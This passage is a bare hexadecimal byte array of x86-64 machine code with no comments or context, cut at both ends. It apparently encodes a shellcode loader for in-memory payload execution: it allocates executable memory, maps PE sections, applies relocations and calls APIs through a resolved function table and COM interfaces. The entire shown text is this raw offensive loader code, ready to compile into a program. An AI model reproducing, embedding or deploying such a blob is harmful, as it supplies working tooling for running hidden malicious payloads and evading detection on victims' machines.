0x8b, 0x4e, 0x18, 0x48, 0x8d, 0x96, 0x64, 0x06, 0x00, 0x00, 0x4d, 0x8d,
|
||||
0x46, 0x20, 0x48, 0x8b, 0x01, 0xff, 0x10, 0x85, 0xc0, 0x0f, 0x88, 0x9d,
|
||||
0x00, 0x00, 0x00, 0x8b, 0x85, 0x24, 0x05, 0x00, 0x00, 0x4c, 0x8d, 0x84,
|
||||
0x24, 0x78, 0x02, 0x00, 0x00, 0x44, 0x21, 0xbc, 0x24, 0x7c, 0x02, 0x00,
|
||||
0x00, 0xb9, 0x11, 0x00, 0x00, 0x00, 0x89, 0x84, 0x24, 0x78, 0x02, 0x00,
|
||||
0x00, 0x8d, 0x51, 0xf0, 0xff, 0x96, 0xb8, 0x00, 0x00, 0x00, 0x48, 0x8b,
|
||||
0xd8, 0x48, 0x85, 0xc0, 0x74, 0x6a, 0x4c, 0x8b, 0x43, 0x10, 0x33, 0xc0,
|
||||
0x39, 0x85, 0x24, 0x05, 0x00, 0x00, 0x76, 0x15, 0x8a, 0x8c, 0x28, 0x28,
|
||||
0x05, 0x00, 0x00, 0x42, 0x88, 0x0c, 0x00, 0xff, 0xc0, 0x3b, 0x85, 0x24,
|
||||
0x05, 0x00, 0x00, 0x72, 0xeb, 0x49, 0x8b, 0x4e, 0x20, 0x4d, 0x8d, 0x46,
|
||||
0x28, 0x48, 0x8b, 0xd3, 0x48, 0x8b, 0x01, 0xff, 0x90, 0x68, 0x01, 0x00,
|
||||
0x00, 0x85, 0xc0, 0x48, 0x8b, 0x43, 0x10, 0x41, 0x0f, 0x94, 0xc7, 0x33,
|
||||
0xd2, 0x39, 0x95, 0x24, 0x05, 0x00, 0x00, 0x76, 0x16, 0xc6, 0x84, 0x2a,
|
||||
0x28, 0x05, 0x00, 0x00, 0x00, 0xc6, 0x04, 0x02, 0x00, 0xff, 0xc2, 0x3b,
|
||||
0x95, 0x24, 0x05, 0x00, 0x00, 0x72, 0xea, 0x48, 0x8b, 0xcb, 0xff, 0x96,
|
||||
0xd0, 0x00, 0x00, 0x00, 0x41, 0x8b, 0xc7, 0x4c, 0x8d, 0x9c, 0x24, 0x30,
|
||||
0x02, 0x00, 0x00, 0x49, 0x8b, 0x5b, 0x38, 0x49, 0x8b, 0x6b, 0x40, 0x49,
|
||||
0x8b, 0xe3, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5c, 0x5f, 0x5e, 0xc3, 0x4d,
|
||||
0x21, 0x3e, 0x49, 0x8d, 0x46, 0x10, 0x33, 0xd2, 0x4c, 0x8d, 0x8e, 0x54,
|
||||
0x06, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0x4c, 0x8d, 0x86, 0x44,
|
||||
0x06, 0x00, 0x00, 0x33, 0xc9, 0xff, 0x96, 0x48, 0x01, 0x00, 0x00, 0x85,
|
||||
0xc0, 0x0f, 0x89, 0x95, 0xfe, 0xff, 0xff, 0x4d, 0x21, 0x7e, 0x10, 0x33,
|
||||
0xc0, 0xeb, 0xb0, 0xcc, 0x40, 0x53, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41,
|
||||
0x56, 0x41, 0x57, 0x48, 0x81, 0xec, 0x80, 0x01, 0x00, 0x00, 0x4c, 0x8b,
|
||||
0x41, 0x28, 0x48, 0x8b, 0xd9, 0x48, 0x8b, 0x51, 0x48, 0xe8, 0xb6, 0x11,
|
||||
0x00, 0x00, 0x4c, 0x8b, 0x43, 0x28, 0x48, 0x8b, 0xcb, 0x48, 0x8b, 0x53,
|
||||
0x50, 0x4c, 0x8b, 0xf0, 0xe8, 0xa3, 0x11, 0x00, 0x00, 0x4c, 0x8b, 0x43,
|
||||
0x28, 0x48, 0x8b, 0xcb, 0x48, 0x8b, 0x93, 0x98, 0x01, 0x00, 0x00, 0x4c,
|
||||
0x8b, 0xf8, 0xe8, 0x8d, 0x11, 0x00, 0x00, 0x48, 0x8b, 0xe8, 0x4d, 0x85,
|
||||
0xf6, 0x74, 0x30, 0x4d, 0x85, 0xff, 0x74, 0x2b, 0x48, 0x85, 0xc0, 0x74,
|
||||
0x26, 0x8b, 0x13, 0x33, 0xc9, 0x41, 0xb8, 0x00, 0x30, 0x00, 0x00, 0x44,
|
||||
0x8d, 0x49, 0x04, 0x41, 0xff, 0xd6, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0,
|
||||
0x75, 0x22, 0x83, 0xbb, 0x30, 0x02, 0x00, 0x00, 0x02, 0x75, 0x04, 0x33,
|
||||
0xc9, 0xff, 0xd5, 0x83, 0xc8, 0xff, 0x48, 0x81, 0xc4, 0x80, 0x01, 0x00,
|
||||
0x00, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5c, 0x5f, 0x5e, 0x5d, 0x5b, 0xc3,
|
||||
0x44, 0x8b, 0x03, 0x48, 0x8b, 0xd3, 0x48, 0x8b, 0xcf, 0xe8, 0xb2, 0x16,
|
||||
0x00, 0x00, 0x33, 0xd2, 0x48, 0x8d, 0x4c, 0x24, 0x30, 0x44, 0x8d, 0x42,
|
||||
0x40, 0xe8, 0xc2, 0x16, 0x00, 0x00, 0x83, 0xbf, 0x34, 0x02, 0x00, 0x00,
|
||||
0x03, 0x41, 0xbc, 0x01, 0x00, 0x00, 0x00, 0x75, 0x3b, 0x44, 0x8b, 0x0f,
|
||||
0x4c, 0x8d, 0x87, 0x40, 0x02, 0x00, 0x00, 0x41, 0x81, 0xe9, 0x40, 0x02,
|
||||
0x00, 0x00, 0x48, 0x8d, 0x57, 0x14, 0x48, 0x8d, 0x4f, 0x04, 0xe8, 0xa9,
|
||||
0x12, 0x00, 0x00, 0x48, 0x8b, 0x57, 0x28, 0x48, 0x8d, 0x8f, 0xf0, 0x07,
|
||||
0x00, 0x00, 0xe8, 0x59, 0x11, 0x00, 0x00, 0x48, 0x3b, 0x87, 0xf0, 0x08,
|
||||
0x00, 0x00, 0x0f, 0x85, 0x5c, 0x02, 0x00, 0x00, 0x4c, 0x8b, 0x47, 0x28,
|
||||
0x48, 0x8b, 0xcf, 0x48, 0x8b, 0x57, 0x30, 0xe8, 0xc8, 0x10, 0x00, 0x00,
|
||||
0x48, 0x89, 0x47, 0x30, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x66, 0xff, 0xff,
|
||||
0xff, 0x48, 0x8d, 0x9f, 0x44, 0x02, 0x00, 0x00, 0x8a, 0x03, 0x33, 0xd2,
|
||||
0x84, 0xc0, 0x74, 0x37, 0x33, 0xc9, 0x3c, 0x3b, 0x74, 0x18, 0x81, 0xfa,
|
||||
0x04, 0x01, 0x00, 0x00, 0x73, 0x10, 0x41, 0x03, 0xd4, 0x88, 0x44, 0x0c,
|
||||
0x70, 0x8b, 0xca, 0x8a, 0x04, 0x1a, 0x84, 0xc0, 0x75, 0xe4, 0x85, 0xd2,
|
||||
0x74, 0x15, 0x8d, 0x4a, 0x01, 0xc6, 0x44, 0x14, 0x70, 0x00, 0x48, 0x03,
|
||||
0xd9, 0x48, 0x8d, 0x4c, 0x24, 0x70, 0xff, 0x57, 0x30, 0xeb, 0xc1, 0x41,
|
||||
0x8b, 0xf4, 0x44, 0x39, 0xa7, 0x40, 0x02, 0x00, 0x00, 0x76, 0x2c, 0x4c,
|
||||
0x8b, 0x47, 0x28, 0x48, 0x8b, 0xcf, 0x8b, 0xde, 0x48, 0x8b, 0x54, 0xdf,
|
||||
0x30, 0xe8, 0x56, 0x10, 0x00, 0x00, 0x48, 0x89, 0x44, 0xdf, 0x30, 0x48,
|
||||
0x85, 0xc0, 0x0f, 0x84, 0xcc, 0x01, 0x00, 0x00, 0x41, 0x03, 0xf4, 0x3b,
|
||||
0xb7, 0x40, 0x02, 0x00, 0x00, 0x72, 0xd4, 0x8b, 0x87, 0xe4, 0x06, 0x00,
|
||||
0x00, 0x83, 0xf8, 0x02, 0x75, 0x19, 0x48, 0x8b, 0xcf, 0xe8, 0x1e, 0xf2,
|
||||
0xff, 0xff, 0x85, 0xc0, 0x0f, 0x84, 0xa6, 0x01, 0x00, 0x00, 0x48, 0x8b,
|
||||
0x9f, 0x20, 0x09, 0x00, 0x00, 0xeb, 0x1d, 0x83, 0xf8, 0x03, 0x0f, 0x84,
|
||||
0x94, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x9f, 0x20, 0x09, 0x00, 0x00, 0x41,
|
||||
0x3b, 0xc4, 0x74, 0x08, 0x48, 0x8b, 0x9c, 0x24, 0xc0, 0x01, 0x00, 0x00,
|
||||
0x44, 0x39, 0xa7, 0x6c, 0x05, 0x00, 0x00, 0x74, 0x32, 0x48, 0x8b, 0xcf,
|
||||
0xe8, 0xaf, 0xef, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x0d, 0x83, 0xbf, 0x6c,
|
||||
0x05, 0x00, 0x00, 0x02, 0x0f, 0x84, 0x5e, 0x01, 0x00, 0x00, 0x48, 0x8b,
|
||||
0xcf, 0xe8, 0xae, 0xf0, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x0d, 0x83, 0xbf,
|
||||
0x6c, 0x05, 0x00, 0x00, 0x02, 0x0f, 0x84, 0x45, 0x01, 0x00, 0x00, 0x44,
|
||||
0x39, 0x63, 0x08, 0x0f, 0x84, 0xd6, 0x00, 0x00, 0x00, 0x8b, 0x93, 0x24,
|
||||
0x05, 0x00, 0x00, 0x33, 0xc9, 0x48, 0x81, 0xc2, 0x30, 0x05, 0x00, 0x00,
|
||||
0x41, 0xb8, 0x00, 0x30, 0x00, 0x00, 0x44, 0x8d, 0x49, 0x04, 0x41, 0xff,
|
||||
0xd6, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x13, 0x01, 0x00,
|
||||
0x00, 0x41, 0xb8, 0x30, 0x05, 0x00, 0x00, 0x48, 0x8b, 0xd3, 0x48, 0x8b,
|
||||
0xc8, 0xe8, 0xfe, 0x14, 0x00, 0x00, 0x8b, 0x43, 0x08, 0x8d, 0x48, 0xfd,
|
||||
0x83, 0xf9, 0x02, 0x76, 0x1e, 0x83, 0xf8, 0x02, 0x0f, 0x85, 0x89, 0x00,
|
||||
0x00, 0x00, 0x48, 0x8d, 0x96, 0x28, 0x05, 0x00, 0x00, 0x48, 0x8d, 0x8b,
|
||||
0x28, 0x05, 0x00, 0x00, 0xe8, 0x5b, 0x12, 0x00, 0x00, 0xeb, 0x71, 0x0f,
|
||||
0xb7, 0xc8, 0x4c, 0x8d, 0x84, 0x24, 0xc0, 0x01, 0x00, 0x00, 0x66, 0x41,
|
||||
0x2b, 0xcc, 0x48, 0x8d, 0x94, 0x24, 0xc8, 0x01, 0x00, 0x00, 0x41, 0xbe,
|
||||
0x00, 0x01, 0x00, 0x00, 0x66, 0x41, 0x0b, 0xce, 0xff, 0x97, 0xa8, 0x01,
|
||||
0x00, 0x00, 0x85, 0xc0, 0x0f, 0x85, 0xaa, 0x00, 0x00, 0x00, 0x0f, 0xb7,
|
||||
0x4b, 0x08, 0x48, 0x8d, 0x84, 0x24, 0xd0, 0x01, 0x00, 0x00, 0x44, 0x8b,
|
||||
0x83, 0x24, 0x05, 0x00, 0x00, 0x4c, 0x8d, 0x8b, 0x28, 0x05, 0x00, 0x00,
|
||||
0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x8d, 0x96, 0x28, 0x05, 0x00, 0x00,
|
||||
0x8b, 0x83, 0x20, 0x05, 0x00, 0x00, 0x66, 0x41, 0x2b, 0xcc, 0x66, 0x41,
|
||||
0x0b, 0xce, 0x89, 0x44, 0x24, 0x20, 0xff, 0x97, 0xb0, 0x01, 0x00, 0x00,
|
||||
0x85, 0xc0, 0x75, 0x68, 0x48, 0x8b, 0xde, 0x8b, 0x0b, 0x8d, 0x41, 0xfd,
|
||||
0x41, 0x3b, 0xc4, 0x76, 0x50, 0x8d, 0x41, 0xff, 0x41, 0x3b, 0xc4, 0x76,
|
||||
0x15, 0x8d, 0x41, 0xfb, 0x41, 0x3b, 0xc4, 0x77, 0x4b, 0x48, 0x8b, 0xd3,
|
||||
0x48, 0x8b, 0xcf, 0xe8, 0x48, 0x09, 0x00, 0x00, 0xeb, 0x3e, 0x4c, 0x8d,
|
||||
0x44, 0x24, 0x30, 0x48, 0x8b, 0xd3, 0x48, 0x8b, 0xcf, 0xe8, 0x7e, 0xfa,
|
||||
0xff, 0xff, 0x85, 0xc0, 0x74, 0x10, 0x4c, 0x8d, 0x44, 0x24, 0x30, 0x48,
|
||||
0x8b, 0xd3, 0x48, 0x8b, 0xcf, 0xe8, 0x8e, 0x00, 0x00, 0x00, 0x48, 0x8d,
|
||||
0x54, 0x24, 0x30, 0x48, 0x8b, 0xcf, 0xe8, 0xfd, 0xf4, 0xff, 0xff, 0xeb,
|
||||
0x0b, 0x48, 0x8b, 0xd3, 0x48, 0x8b, 0xcf, 0xe8, 0xac, 0x04, 0x00, 0x00,
|
||||
0x8b, 0x87, 0xe4, 0x06, 0x00, 0x00, 0xbe, 0x00, 0xc0, 0x00, 0x00, 0x83,
|
||||
0xe8, 0x02, 0x41, 0x3b, 0xc4, 0x77, 0x31, 0x48, 0x8b, 0x8f, 0x20, 0x09,
|
||||
0x00, 0x00, 0x48, 0x85, 0xc9, 0x74, 0x25, 0x44, 0x8b, 0x87, 0x18, 0x09,
|
||||
0x00, 0x00, 0x33, 0xd2, 0xe8, 0xef, 0x13, 0x00, 0x00, 0x48, 0x8b, 0x8f,
|
||||
0x20, 0x09, 0x00, 0x00, 0x44, 0x8b, 0xc6, 0x33, 0xd2, 0x41, 0xff, 0xd7,
|
||||
0x48, 0x83, 0xa7, 0x20, 0x09, 0x00, 0x00, 0x00, 0x44, 0x8b, 0x07, 0x33,
|
||||
0xd2, 0x8b, 0x9f, 0x30, 0x02, 0x00, 0x00, 0x48, 0x8b, 0xcf, 0xe8, 0xc5,
|
||||
0x13, 0x00, 0x00, 0x44, 0x8b, 0xc6, 0x33, 0xd2, 0x48, 0x8b, 0xcf, 0x41,
|
||||
0xff, 0xd7, 0x83, 0xfb, 0x02, 0x75, 0x04, 0x33, 0xc9, 0xff, 0xd5, 0x33,
|
||||
0xc0, 0xe9, 0xb8, 0xfc, 0xff, 0xff, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24,
|
||||
0x08, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57,
|
||||
0x48, 0x8d, 0xac, 0x24, 0xe0, 0xfd, 0xff, 0xff, 0x48, 0x81, 0xec, 0x20,
|
||||
0x03, 0x00, 0x00, 0x45, 0x33, 0xed, 0x33, 0xc0, 0x83, 0x3a, 0x02, 0x0f,
|
||||
0x57, 0xc0, 0x4d, 0x8b, 0xf0, 0x4c, 0x89, 0x6c, 0x24, 0x50, 0x48, 0x8b,
|
||||
0xf2, 0x48, 0x89, 0x45, 0x88, 0x45, 0x8d, 0x7d, 0x01, 0x66, 0x44, 0x89,
|
||||
0xad, 0x68, 0x02, 0x00, 0x00, 0x48, 0x8b, 0xd9, 0x41, 0x8b, 0xfd, 0x0f,
|
||||
0x11, 0x44, 0x24, 0x78, 0x0f, 0x85, 0xf8, 0x01, 0x00, 0x00, 0x49, 0x8b,
|
||||
0x48, 0x28, 0x49, 0x8d, 0x50, 0x38, 0x48, 0x8b, 0x01, 0xff, 0x90, 0x80,
|
||||
0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x88, 0xd6, 0x01, 0x00, 0x00, 0x49,
|
||||
0x8b, 0x4e, 0x38, 0x48, 0x8d, 0x54, 0x24, 0x50, 0x48, 0x8b, 0x01, 0xff,
|
||||
0x90, 0x90, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x88, 0x8e, 0x03, 0x00,
|
||||
0x00, 0x48, 0x8b, 0x4c, 0x24, 0x50, 0x4c, 0x8d, 0x44, 0x24, 0x48, 0x41,
|
||||
0x8b, 0xd7, 0xff, 0x93, 0xd8, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24,
|
||||
0x50, 0x4c, 0x8d, 0x44, 0x24, 0x44, 0x41, 0x8b, 0xd7, 0xff, 0x93, 0xe0,
|
||||
0x00, 0x00, 0x00, 0x8b, 0x44, 0x24, 0x44, 0x2b, 0x44, 0x24, 0x48, 0x41,
|
||||
0x03, 0xc7, 0x0f, 0x84, 0x2e, 0x01, 0x00, 0x00, 0x41, 0x8d, 0x4d, 0x0c,
|
||||
0x45, 0x8b, 0xc7, 0x33, 0xd2, 0xff, 0x93, 0xc0, 0x00, 0x00, 0x00, 0x4c,
|
||||
0x8d, 0x86, 0x0c, 0x04, 0x00, 0x00, 0x33, 0xd2, 0x48, 0x8b, 0xf8, 0x45,
|
||||
0x38, 0x28, 0x0f, 0x84, 0xa0, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x45, 0x10,
|
||||
0x41, 0xbf, 0x00, 0x01, 0x00, 0x00, 0x44, 0x89, 0x7c, 0x24, 0x28, 0x41,
|
||||
0x83, 0xc9, 0xff, 0x33, 0xc9, 0x48, 0x89, 0x44, 0x24, 0x20, 0xff, 0x53,
|
||||
0x70, 0x48, 0x8d, 0x54, 0x24, 0x40, 0x48, 0x8d, 0x4d, 0x10, 0xff, 0x93,
|
||||
0xb0, 0x00, 0x00, 0x00, 0x44, 0x8b, 0x44, 0x24, 0x40, 0xb9, 0x08, 0x20,
|
||||
0x00, 0x00, 0x66, 0x89, 0x4c, 0x24, 0x60, 0x33, 0xd2, 0x41, 0x8d, 0x4d,
|
||||
0x08, 0x4c, 0x8b, 0xf8, 0xff, 0x93, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x8b,
|
||||
0xcd, 0x89, 0x8d, 0x78, 0x02, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x68,
|
||||
0x44, 0x39, 0x6c, 0x24, 0x40, 0x0f, 0x86, 0x85, 0x00, 0x00, 0x00, 0x45,
|
||||
0x8d, 0x65, 0x01, 0x49, 0x8b, 0x0c, 0xcf, 0xff, 0x93, 0xe8, 0x00, 0x00,
|
||||
0x00, 0x48, 0x8b, 0x4c, 0x24, 0x68, 0x48, 0x8d, 0x95, 0x78, 0x02, 0x00,
|
||||
0x00, 0x4c, 0x8b, 0xc0, 0xff, 0x93, 0xc8, 0x00, 0x00, 0x00, 0x8b, 0x8d,
|
||||
0x78, 0x02, 0x00, 0x00, 0x41, 0x03, 0xcc, 0x89, 0x8d, 0x78, 0x02, 0x00,
|
||||
0x00, 0x3b, 0x4c, 0x24, 0x40, 0x72, 0xcc, 0x45, 0x8b, 0xfc, 0xeb, 0x4e,
|
||||
0xb9, 0x08, 0x20, 0x00, 0x00, 0x45, 0x8b, 0xc7, 0x66, 0x89, 0x4c, 0x24,
|
||||
0x60, 0xb9, 0x08, 0x00, 0x00, 0x00, 0xff, 0x93, 0xc0, 0x00, 0x00, 0x00,
|
||||
0x48, 0x8d, 0x8d, 0x68, 0x02, 0x00, 0x00, 0x44, 0x89, 0xad, 0x78, 0x02,
|
||||
0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x68, 0xff, 0x93, 0xe8, 0x00, 0x00,
|
||||
0x00, 0x48, 0x8b, 0x4c, 0x24, 0x68, 0x48, 0x8d, 0x95, 0x78, 0x02, 0x00,
|
||||
0x00, 0x4c, 0x8b, 0xc0, 0xff, 0x93, 0xc8, 0x00, 0x00, 0x00, 0xeb, 0x06,
|
||||
0x41, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x44, 0x24, 0x60, 0x44,
|
||||
0x89, 0xad, 0x78, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x95, 0x78, 0x02, 0x00,
|
||||
0x00, 0x48, 0x8b, 0xcf, 0xff, 0x93, 0xc8, 0x00, 0x00, 0x00, 0x49, 0x8b,
|
||||
0x4e, 0x38, 0x4c, 0x8d, 0x4d, 0xd8, 0xf2, 0x0f, 0x10, 0x4d, 0x88, 0x48,
|
||||
0x8d, 0x55, 0xa0, 0x66, 0x44, 0x89, 0x7c, 0x24, 0x78, 0x4c, 0x8b, 0xc7,
|
||||
0x4c, 0x89, 0x6d, 0x80, 0x0f, 0x10, 0x44, 0x24, 0x78, 0x48, 0x8b, 0x01,
|
||||
0xf2, 0x0f, 0x11, 0x4d, 0xb0, 0x0f, 0x29, 0x45, 0xa0, 0xff, 0x90, 0x28,
|
||||
0x01, 0x00, 0x00, 0x48, 0x85, 0xff, 0x0f, 0x84, 0xeb, 0x01, 0x00, 0x00,
|
||||
0x48, 0x8b, 0x4c, 0x24, 0x68, 0xff, 0x93, 0xd0, 0x00, 0x00, 0x00, 0x48,
|
||||
0x8b, 0xcf, 0xff, 0x93, 0xd0, 0x00, 0x00, 0x00, 0xe9, 0xd2, 0x01, 0x00,
|
||||
0x00, 0x4d, 0x89, 0x6e, 0x38, 0xe9, 0xc9, 0x01, 0x00, 0x00, 0x4c, 0x8d,
|
||||
0x82, 0x0c, 0x02, 0x00, 0x00, 0x41, 0xbf, 0x00, 0x01, 0x00, 0x00, 0x48,
|
||||
0x8d, 0x45, 0x10, 0x44, 0x89, 0x7c, 0x24, 0x28, 0x41, 0x83, 0xcc, 0xff,
|
||||
0x48, 0x89, 0x44, 0x24, 0x20, 0x45, 0x8b, 0xcc, 0x33, 0xd2, 0x33, 0xc9,
|
||||
0xff, 0x53, 0x70, 0x48, 0x8d, 0x4d, 0x10, 0xff, 0x93, 0xe8, 0x00, 0x00,
|
||||
0x00, 0x48, 0x89, 0x44, 0x24, 0x58, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0,
|
||||
0x0f, 0x84, 0x88, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x45, 0x10, 0x44, 0x89,
|
||||
0x7c, 0x24, 0x28, 0x4c, 0x8d, 0x86, 0x0c, 0x03, 0x00, 0x00, 0x48, 0x89,
|
||||
0x44, 0x24, 0x20, 0x45, 0x8b, 0xcc, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x53,
|
||||
0x70, 0x48, 0x8d, 0x4d, 0x10, 0xff, 0x93, 0xe8, 0x00, 0x00, 0x00, 0x4c,
|
||||
0x8b, 0xe8, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x41, 0x01, 0x00, 0x00, 0x49,
|
||||
0x8b, 0x4e, 0x28, 0x49, 0x8d, 0x46, 0x30, 0x4c, 0x8b, 0xc0, 0x48, 0x89,
|
||||
0x45, 0x90, 0x48, 0x8b, 0xd7, 0x4c, 0x8b, 0x09, 0x41, 0xff, 0x91, 0x88,
|
||||
0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x88, 0x14, 0x01, 0x00, 0x00, 0x33,
|
||||
0xff, 0x4c, 0x8d, 0x86, 0x0c, 0x04, 0x00, 0x00, 0x41, 0x38, 0x38, 0x0f,
|
||||
0x84, 0xab, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x45, 0x10, 0x44, 0x89, 0x7c,
|
||||
0x24, 0x28, 0x45, 0x8b, 0xcc, 0x48, 0x89, 0x44, 0x24, 0x20, 0x33, 0xd2,
|
||||
0x33, 0xc9, 0xff, 0x53, 0x70, 0x48, 0x8d, 0x54, 0x24, 0x40, 0x48, 0x8d,
|
||||
0x4d, 0x10, 0xff, 0x93, 0xb0, 0x00, 0x00, 0x00, 0x44, 0x8b, 0x44, 0x24,
|
||||
0x40, 0x8d, 0x4f, 0x0c, 0x33, 0xd2, 0x4c, 0x8b, 0xf8, 0xff, 0x93, 0xc0,
|
||||
0x00, 0x00, 0x00, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x74, 0x69, 0x83,
|
||||
0xa5, 0x78, 0x02, 0x00, 0x00, 0x00, 0x83, 0x7c, 0x24, 0x40, 0x00, 0x76,
|
||||
0x5b, 0x33, 0xc9, 0x8d, 0x71, 0x08, 0x44, 0x8d, 0x61, 0x01, 0x49, 0x8b,
|
||||
0x0c, 0xcf, 0xff, 0x93, 0xe8, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x45, 0xc0,
|
||||
0x66, 0x89, 0x75, 0xc0, 0x48, 0x8d, 0x95, 0x78, 0x02, 0x00, 0x00, 0x48,
|
||||
0x89, 0x45, 0xc8, 0x48, 0x8b, 0xcf, 0xff, 0x93, 0xc8, 0x00, 0x00, 0x00,
|
||||
0x44, 0x8b, 0xf0, 0x85, 0xc0, 0x79, 0x0b, 0x48, 0x8b, 0xcf, 0xff, 0x93,
|
||||
0xd0, 0x00, 0x00, 0x00, 0x33, 0xff, 0x8b, 0x8d, 0x78, 0x02, 0x00, 0x00,
|
||||
0x41, 0x03, 0xcc, 0x89, 0x8d, 0x78, 0x02, 0x00, 0x00, 0x3b, 0x4c, 0x24,
|
||||
0x40, 0x72, 0xb3, 0x45, 0x85, 0xf6, 0x78, 0x52, 0x48, 0x8b, 0x4d, 0x90,
|
||||
0x48, 0x8d, 0x55, 0xf0, 0x48, 0x89, 0x54, 0x24, 0x30, 0x0f, 0x57, 0xc0,
|
||||
0x48, 0x8d, 0x55, 0xa0, 0x0f, 0x29, 0x45, 0xa0, 0xf2, 0x0f, 0x10, 0x45,
|
||||
0x88, 0x45, 0x33, 0xc9, 0x48, 0x8b, 0x09, 0x41, 0xb8, 0x18, 0x01, 0x00,
|
||||
0x00, 0x48, 0x89, 0x7c, 0x24, 0x28, 0x48, 0x89, 0x54, 0x24, 0x20, 0x49,
|
||||
0x8b, 0xd5, 0xf2, 0x0f, 0x11, 0x45, 0xb0, 0x48, 0x8b, 0x01, 0xff, 0x90,
|
||||
0xc8, 0x01, 0x00, 0x00, 0x48, 0x85, 0xff, 0x74, 0x09, 0x48, 0x8b, 0xcf,
|
||||
0xff, 0x93, 0xd0, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x49,
|
||||
0x8b, 0xcd, 0xff, 0x93, 0xf0, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcf, 0xff,
|
||||
0x93, 0xf0, 0x00, 0x00, 0x00, 0x41, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x41,
|
||||
0x8b, 0xc7, 0x48, 0x8b, 0x9c, 0x24, 0x60, 0x03, 0x00, 0x00, 0x48, 0x81,
|
||||
0xc4, 0x20, 0x03, 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41,
|
||||
0x5c, 0x5f, 0x5e, 0x5d, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24,
|
||||
0x18, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57,
|
||||
0x48, 0x81, 0xec, 0x40, 0x02, 0x00, 0x00, 0x4c, 0x8d, 0xba, 0x28, 0x05,
|
||||
0x00, 0x00, 0x48, 0x8b, 0xe9, 0x49, 0x63, 0x7f, 0x3c, 0x45, 0x33, 0xe4,
|
||||
0x49, 0x03, 0xff, 0x4c, 0x89, 0xa4, 0x24, 0x88, 0x02, 0x00, 0x00, 0x33,
|
||||
0xc9, 0x48, 0x89, 0xbc, 0x24, 0x80, 0x02, 0x00, 0x00, 0x4c, 0x8b, 0xea,
|
||||
0xff, 0x55, 0x40, 0x4c, 0x63, 0x40, 0x3c, 0x41, 0x0f, 0xb7, 0x44, 0x00,
|
||||
0x04, 0x66, 0x39, 0x47, 0x04, 0x0f, 0x85, 0xea, 0x03, 0x00, 0x00, 0x8b,
|
||||
0x57, 0x50, 0x45, 0x8d, 0x4c, 0x24, 0x40, 0xb9, 0x00, 0x10, 0x00, 0x00,
|
||||
0x41, 0xb8, 0x00, 0x30, 0x00, 0x00, 0x03, 0xd1, 0x33, 0xc9, 0xff, 0x55,
|
||||
0x48, 0x48, 0x8b, 0xd8, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0xc4, 0x03, 0x00,
|
||||
0x00, 0x44, 0x8b, 0x47, 0x54, 0x49, 0x8b, 0xd7, 0x48, 0x8b, 0xc8, 0xe8,
|
||||
0xc4, 0x0e, 0x00, 0x00, 0x0f, 0xb7, 0x77, 0x14, 0x45, 0x8b, 0xf4, 0x48,
|
||||
0x03, 0xf7, 0x66, 0x44, 0x3b, 0x67, 0x06, 0x73, 0x2d, 0x41, 0x8b, 0xc6,
|
||||
0x4c, 0x8d, 0x04, 0x80, 0x42, 0x8b, 0x54, 0xc6, 0x2c, 0x42, 0x8b, 0x4c,
|
||||
0xc6, 0x24, 0x49, 0x03, 0xd7, 0x46, 0x8b, 0x44, 0xc6, 0x28, 0x48, 0x03,
|
||||
0xcb, 0xe8, 0x92, 0x0e, 0x00, 0x00, 0x0f, 0xb7, 0x47, 0x06, 0x41, 0xff,
|
||||
0xc6, 0x44, 0x3b, 0xf0, 0x72, 0xd3, 0x8b, 0x87, 0xb0, 0x00, 0x00, 0x00,
|
||||
0x85, 0xc0, 0x74, 0x77, 0x48, 0x8b, 0xf3, 0x4c, 0x8d, 0x0c, 0x03, 0x48,
|
||||
0x2b, 0x77, 0x30, 0x45, 0x39, 0x21, 0x74, 0x67, 0x41, 0xbe, 0x00, 0x10,
|
||||
0x00, 0x00, 0x4d, 0x8d, 0x51, 0x08, 0xeb, 0x47, 0x41, 0x0f, 0xb7, 0x02,
|
||||
0xb9, 0x00, 0xf0, 0x00, 0x00, 0x44, 0x0f, 0xb7, 0xd8, 0x66, 0x23, 0xc1,
|
||||
0xb9, 0x00, 0xa0, 0x00, 0x00, 0x66, 0x3b, 0xc1, 0x75, 0x1f, 0x45, 0x8b,
|
||||
0x01, 0x41, 0x81, 0xe3, 0xff, 0x0f, 0x00, 0x00, 0x4b, 0x8d, 0x04, 0x03,
|
||||
